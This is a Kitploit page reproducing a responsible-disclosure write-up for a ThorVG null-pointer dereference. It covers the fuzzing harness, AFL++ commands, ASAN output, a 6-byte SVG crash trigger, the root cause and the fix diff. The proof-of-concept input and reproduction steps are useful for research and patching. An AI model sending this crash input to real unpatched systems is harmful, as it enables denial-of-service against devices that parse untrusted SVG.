Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-45729 — ThorVG desreferência de ponteiro nulo via SVG malformado — writeup de fuzzing com AFL++ | Kitploit
Ferramentas/GitHubGitHub/yeahhbean/cve-2026-45729
Segurança de Sistemas EmbarcadosSegurança IoTAnálise de VulnerabilidadesExploraçãoFuzzingAnálise de Binários
GitHubyeahhbean/cve-2026-45729

CVE-2026-45729

ThorVG desreferência de ponteiro nulo via SVG malformado — writeup de fuzzing com AFL++

Ver Repositório
13há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-45729 — Desreferência de ponteiro nulo no ThorVG via SVG malformado

Gravidade: CVSS 4.3 (Média) — CWE-476
Aviso: GHSA-f863-8ghq-7h64
Corrigido em: ThorVG v1.0.5
Estado: Corrigido / Divulgado


Resumo

O analisador SVG do ThorVG desreferencia um ponteiro que nunca é inicializado quando encontra uma tag de elemento filho truncada dentro de um nó <svg> raiz. A falha é alcançável pelo caminho normal de renderização (tvg::Picture::load → análise → renderização) e pode ser acionada com uma entrada de 6 bytes.

O impacto no pior caso em Linux padrão é uma queda do processo (DoS) — mmap_min_addr impede o mapeamento da página NULL, portanto a falha não é diretamente explorável para execução de código nesse ambiente. Em alvos sem MMU onde o ThorVG também é usado (Tizen, firmware baseado em LVGL) o cenário de explorabilidade é diferente e merece uma análise mais detalhada.


Justificativa da seleção do alvo

O ThorVG é um mecanismo de gráficos vetoriais multiplataforma escrito em C++17. É o renderizador SVG/Lottie padrão no Samsung Tizen OS, está incluído no LVGL (amplamente usado em UI embarcada/IoT) e é distribuído como uma biblioteca independente em várias plataformas.

A biblioteca processa entradas SVG/JSON não confiáveis e frequentemente é exposta em contextos sem separação de privilégios. O código de análise em bibliotecas gráficas historicamente tem sido uma fonte confiável de bugs de segurança de memória — o ThorVG é desenvolvido ativamente e, no momento desta pesquisa, não tinha cobertura de fuzzing registrada em rastreadores públicos de bugs.


Configuração do fuzzing

Harness

O harness envolve a API de carregamento em memória do ThorVG para que o AFL++ possa conduzir o analisador diretamente, sem E/S de disco.

root@kitploit:~
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
    if (size == 0) return 0;

    tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);

    auto canvas = tvg::SwCanvas::gen();
    uint32_t buf[64 * 64] = {};
    canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);

    auto picture = tvg::Picture::gen();
    // Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
    if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
            == tvg::Result::Success) {
        canvas->push(tvg::cast(picture));
        canvas->draw();
        canvas->sync();
    }

    tvg::Initializer::term(tvg::CanvasEngine::Sw);
    return 0;
}

Compile com ASAN + instrumentação de cobertura:

root@kitploit:~
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
    -fcoverage-mapping -O1 -g \
    fuzz_thorvg.cpp -o fuzz_thorvg \
    $(pkg-config --cflags --libs thorvg)

Corpus de sementes

Começar do zero com bytes aleatórios tem baixo desempenho em analisadores sensíveis a formato. Populei o corpus com um conjunto de arquivos SVG mínimos estruturalmente válidos cobrindo:

  • SVG vazio (<svg xmlns="..."/>)
  • SVG com formas básicas (<rect>, <circle>, <path>)
  • SVG com um grupo <g> aninhado
  • SVG com uma referência xlink <use>
  • Uma pequena animação Lottie/JSON (o ThorVG também processa esse formato)

Sementes com consciência de estrutura reduziram o tempo até os primeiros caminhos interessantes de horas para menos de 20 minutos no meu ambiente.

Flags do AFL++

root@kitploit:~
AFL_AUTORESUME=1 afl-fuzz \
    -i corpus/ \
    -o findings/ \
    -x svg.dict \
    -m none \
    -- ./fuzz_thorvg @@

-x svg.dict — dicionário de tokens do AFL++ com palavras-chave SVG para ajudar a mutar em direção a nomes de tags válidos.
-m none — a memória sombra do ASAN exige desativar o limite de memória do AFL++.


Descoberta da queda

O AFL++ produziu uma queda após aproximadamente 3 horas de fuzzing com um único núcleo. A entrada inicial que causou a queda tinha ~180 bytes. A saída do ASAN:

root@kitploit:~
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...

A falha é uma leitura através de um ponteiro SvgNode* não inicializado (NULL) dentro de _parseStyle. Espera-se que o ponteiro seja definido por _createElement ao processar um elemento filho, mas um nome de tag truncado faz com que o elemento seja ignorado sem que o ponteiro seja atribuído, e _parseStyle prossegue e o desreferencia mesmo assim.


Minimização

Minimizado com afl-tmin e depois poda manual:

root@kitploit:~
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@

Após afl-tmin, a entrada tinha 14 bytes. A inspeção manual do caminho de análise mostrou que apenas os primeiros 6 bytes eram consumidos antes da falha:

root@kitploit:~
<svg><

<svg> abre o nó raiz. < inicia uma tag de elemento filho. O analisador lê o nome da tag, obtém uma string vazia (a entrada termina imediatamente após <), pula a criação do elemento e cai em _parseStyle com o ponteiro do nó ainda NULL.

Confirme que o gatilho de 6 bytes reproduz:

root@kitploit:~
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# or
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg

Causa raiz

root@kitploit:~
src/loaders/svg/tvgSvgParser.cpp

Pseudocódigo simplificado do fluxo vulnerável:

root@kitploit:~
// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName);   // tagName == "" → returns nullptr

// No NULL check before passing into style parser
_parseStyle(node, attributes);             // ← dereferences node->style at offset 0x18

A correção no v1.0.5 adiciona um retorno antecipado no loop de despacho de elementos quando _createElement retorna nullptr, antes que qualquer processamento de atributos/estilo seja tentado.


Análise de explorabilidade

Linux padrão (CVSS 4.3 / Média)

/proc/sys/vm/mmap_min_addr normalmente está definido como 65536 em distribuições modernas. A página NULL não está mapeada, então a CPU gera um SIGSEGV que o kernel converte em um sinal para o processo — o resultado é uma queda (DoS). Sem escrita controlada, sem controle de PC, não diretamente explorável para execução de código.

Alvos embarcados / sem MMU

O ThorVG é um cidadão de primeira classe no Tizen (SO de IoT/wearables da Samsung) e está integrado ao LVGL, que roda em microcontroladores e sistemas sem MMU.

Em sistemas sem MMU não há proteção de memória e mmap_min_addr não se aplica. Se a página NULL estiver mapeada (o que é comum em ambientes embarcados bare-metal), uma desreferência de ponteiro NULL pode potencialmente apontar para memória controlada pelo atacante. Se isso é alcançável em um ataque real depende da superfície de ataque — o ThorVG em um dispositivo Tizen pode analisar SVG de fontes de rede não confiáveis ou de conteúdo fornecido pelo usuário.

Esse contexto é o que justifica a divulgação responsável mesmo para uma descoberta de CVSS Média.


Linha do tempo da divulgação


Diff da correção (resumo)

A correção adiciona uma proteção contra NULL no loop de despacho de elementos SVG:

root@kitploit:~
// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs);   // unconditional

// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue;        // skip if element was not created
_parseStyle(node, attrs);

Diff completo: lançamento do ThorVG v1.0.5


Reprodução (segura, apenas local)

root@kitploit:~
# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build

# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
    fuzz_thorvg.cpp -o fuzz_thorvg \
    -Ibuild/src/include -Lbuild/src -lthorvg

# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin

Saída esperada: relatório do ASAN com SEGV on unknown address 0x000000000000 em tvg::SvgParser::_parseStyle.


Referências

  • GHSA-f863-8ghq-7h64
  • Projeto ThorVG
  • CWE-476: NULL Pointer Dereference
  • Documentação do AFL++

Encontrado por yeahhbean (이예빈) via fuzzing guiado por cobertura com AFL++ e corpus de sementes SVG com consciência de estrutura.

Baixar ferramenta
DataEvento
2026-xx-xxQueda descoberta via AFL++
2026-xx-xxCausa raiz confirmada sob ASAN; POC de 6 bytes produzida
2026-xx-xxRelatório privado enviado ao mantenedor do ThorVG (hermet) via GitHub Security Advisory
2026-xx-xxMantenedor confirmou e abriu um fork privado
2026-xx-xxCorreção integrada ao v1.0.5
2026-xx-xxGHSA-f863-8ghq-7h64 publicado; CVE-2026-45729 atribuído